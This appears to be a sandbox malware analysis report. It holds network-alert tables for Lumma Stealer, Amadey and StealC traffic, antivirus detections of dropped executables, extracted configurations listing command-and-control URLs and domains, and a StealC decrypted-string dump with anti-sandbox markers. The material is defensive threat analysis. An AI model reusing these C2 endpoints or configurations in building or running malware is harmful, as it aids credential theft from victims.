2024-11-01T12:34:59.086774+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50042	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:16.279963+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49980	188.114.96.3	443	TCP
2024-11-01T12:34:31.597429+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50000	188.114.96.3	443	TCP
2024-11-01T12:34:48.609669+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50023	188.114.96.3	443	TCP
2024-11-01T12:35:00.236840+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50045	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:14.328629+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49978	188.114.96.3	443	TCP
2024-11-01T12:34:15.778278+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49980	188.114.96.3	443	TCP
2024-11-01T12:34:17.155449+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49982	188.114.96.3	443	TCP
2024-11-01T12:34:18.785410+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49984	188.114.96.3	443	TCP
2024-11-01T12:34:21.261557+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49986	188.114.96.3	443	TCP
2024-11-01T12:34:23.707899+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49990	188.114.96.3	443	TCP
2024-11-01T12:34:25.808862+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49992	188.114.96.3	443	TCP
2024-11-01T12:34:28.197068+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49995	188.114.96.3	443	TCP
2024-11-01T12:34:29.569740+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49998	188.114.96.3	443	TCP
2024-11-01T12:34:30.860059+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50000	188.114.96.3	443	TCP
2024-11-01T12:34:32.488084+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50002	188.114.96.3	443	TCP
2024-11-01T12:34:34.232140+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50004	188.114.96.3	443	TCP
2024-11-01T12:34:36.561775+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50007	188.114.96.3	443	TCP
2024-11-01T12:34:38.977124+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50009	188.114.96.3	443	TCP
2024-11-01T12:34:42.303330+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50014	188.114.96.3	443	TCP
2024-11-01T12:34:44.895979+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50018	188.114.96.3	443	TCP
2024-11-01T12:34:47.041985+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50020	188.114.96.3	443	TCP
2024-11-01T12:34:48.264931+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50023	188.114.96.3	443	TCP
2024-11-01T12:34:49.666140+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50026	188.114.96.3	443	TCP
2024-11-01T12:34:51.078161+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50028	188.114.96.3	443	TCP
2024-11-01T12:34:52.607975+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50031	188.114.96.3	443	TCP
2024-11-01T12:34:54.249437+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50035	188.114.96.3	443	TCP
2024-11-01T12:34:55.904340+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50037	188.114.96.3	443	TCP
2024-11-01T12:34:58.317789+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50041	188.114.96.3	443	TCP
2024-11-01T12:34:58.545235+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50042	188.114.96.3	443	TCP
2024-11-01T12:34:59.797937+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50045	188.114.96.3	443	TCP
2024-11-01T12:35:01.217494+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50047	188.114.96.3	443	TCP
2024-11-01T12:35:02.987908+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50049	188.114.96.3	443	TCP
2024-11-01T12:35:04.575441+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50051	188.114.96.3	443	TCP
2024-11-01T12:35:07.288866+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50055	188.114.96.3	443	TCP
2024-11-01T12:35:09.288350+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50059	188.114.96.3	443	TCP
2024-11-01T12:35:12.157477+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50063	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:29.636584+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49996	185.215.113.16	80	TCP
2024-11-01T12:35:13.782945+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	50066	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:07.568340+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49971	185.215.113.16	80	TCP
2024-11-01T12:34:12.242334+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49975	185.215.113.16	80	TCP
2024-11-01T12:34:51.869605+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50029	185.215.113.43	80	TCP
2024-11-01T12:34:57.960385+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50039	185.215.113.43	80	TCP
2024-11-01T12:35:13.940338+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50067	185.215.113.43	80	TCP
2024-11-01T12:35:18.153532+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50073	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:13.598252+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	60739	1.1.1.1	53	UDP
2024-11-01T12:34:28.923924+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	55163	1.1.1.1	53	UDP
2024-11-01T12:34:46.375855+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	59219	1.1.1.1	53	UDP
2024-11-01T12:34:57.881084+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	57904	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:13.637872+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	50305	1.1.1.1	53	UDP
2024-11-01T12:34:28.935397+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	62836	1.1.1.1	53	UDP
2024-11-01T12:34:46.393257+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	60283	1.1.1.1	53	UDP
2024-11-01T12:34:57.897505+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	59266	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:13.665561+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.7	65008	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:13.575442+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	61394	1.1.1.1	53	UDP
2024-11-01T12:34:28.909668+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	63893	1.1.1.1	53	UDP
2024-11-01T12:34:46.341050+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	60677	1.1.1.1	53	UDP
2024-11-01T12:34:57.861247+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	58806	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:13.651329+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	55444	1.1.1.1	53	UDP
2024-11-01T12:34:28.947122+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	51488	1.1.1.1	53	UDP
2024-11-01T12:34:46.410677+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	56803	1.1.1.1	53	UDP
2024-11-01T12:34:57.911711+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	52260	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:19.553740+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49984	188.114.96.3	443	TCP
2024-11-01T12:34:51.640484+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50028	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:09.800847+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49973	185.215.113.206	80	TCP
2024-11-01T12:34:22.780630+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49987	185.215.113.206	80	TCP
2024-11-01T12:34:39.603366+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50010	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:35:07.603645+0100	2856121	1	A Network Trojan was detected	192.168.2.7	50054	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:03.622612+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49956	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:04.306238+0100	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.7	49956	TCP
2024-11-01T12:34:08.940163+0100	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.7	49972	TCP
2024-11-01T12:34:50.964344+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	50022	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:04.577819+0100	2803305	3	Unknown Traffic	192.168.2.7	49956	185.215.113.16	80	TCP
2024-11-01T12:34:09.221409+0100	2803305	3	Unknown Traffic	192.168.2.7	49972	185.215.113.16	80	TCP
2024-11-01T12:34:58.929387+0100	2803305	3	Unknown Traffic	192.168.2.7	50043	185.215.113.16	80	TCP
2024-11-01T12:35:08.828682+0100	2803305	3	Unknown Traffic	192.168.2.7	50057	185.215.113.16	80	TCP
2024-11-01T12:35:19.862754+0100	2803305	3	Unknown Traffic	192.168.2.7	50075	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php

URL Reputation: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000F.00000003.2169557831.0000000005100000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: skotes.exe.5576.20.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "necklacedmny.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: 30
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: 11
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: 20
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: 24
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetProcAddress
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: LoadLibraryA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: lstrcatA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: OpenEventA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CreateEventA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CloseHandle
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Sleep
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: VirtualFree
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetSystemInfo
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: VirtualAlloc
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: HeapAlloc
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetComputerNameA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: lstrcpyA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetProcessHeap
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetCurrentProcess
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: lstrlenA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ExitProcess
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetSystemTime
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: advapi32.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: gdi32.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: user32.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: crypt32.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ntdll.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetUserNameA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CreateDCA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetDeviceCaps
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ReleaseDC
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sscanf
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: VMwareVMware
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: HAL9TH
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: JohnDoe
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: DISPLAY
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: http://185.215.113.206
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: bksvnsj
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: tale
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetFileAttributesA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GlobalLock
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: HeapFree
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetFileSize
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GlobalSize
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: IsWow64Process
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Process32Next
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetLocalTime
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: FreeLibrary
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Process32First
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: DeleteFileA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: FindNextFileA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: LocalFree
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: FindClose
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: LocalAlloc
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetFileSizeEx
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ReadFile
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SetFilePointer
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: WriteFile
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CreateFileA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: FindFirstFileA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CopyFileA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: VirtualProtect
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetLastError
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: lstrcpynA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GlobalFree
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GlobalAlloc
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: OpenProcess
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: TerminateProcess
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: gdiplus.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ole32.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: bcrypt.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: wininet.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: shlwapi.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: shell32.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: psapi.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SelectObject
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: BitBlt
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: DeleteObject
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GdiplusStartup
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GdiplusShutdown
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GdipDisposeImage
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GdipFree
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CoUninitialize
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CoInitialize
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CoCreateInstance
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: BCryptDecrypt
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: BCryptSetProperty
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetWindowRect
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetDesktopWindow
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetDC
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CloseWindow
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: wsprintfA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CharToOemW
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: wsprintfW
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: RegQueryValueExA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: RegEnumKeyExA
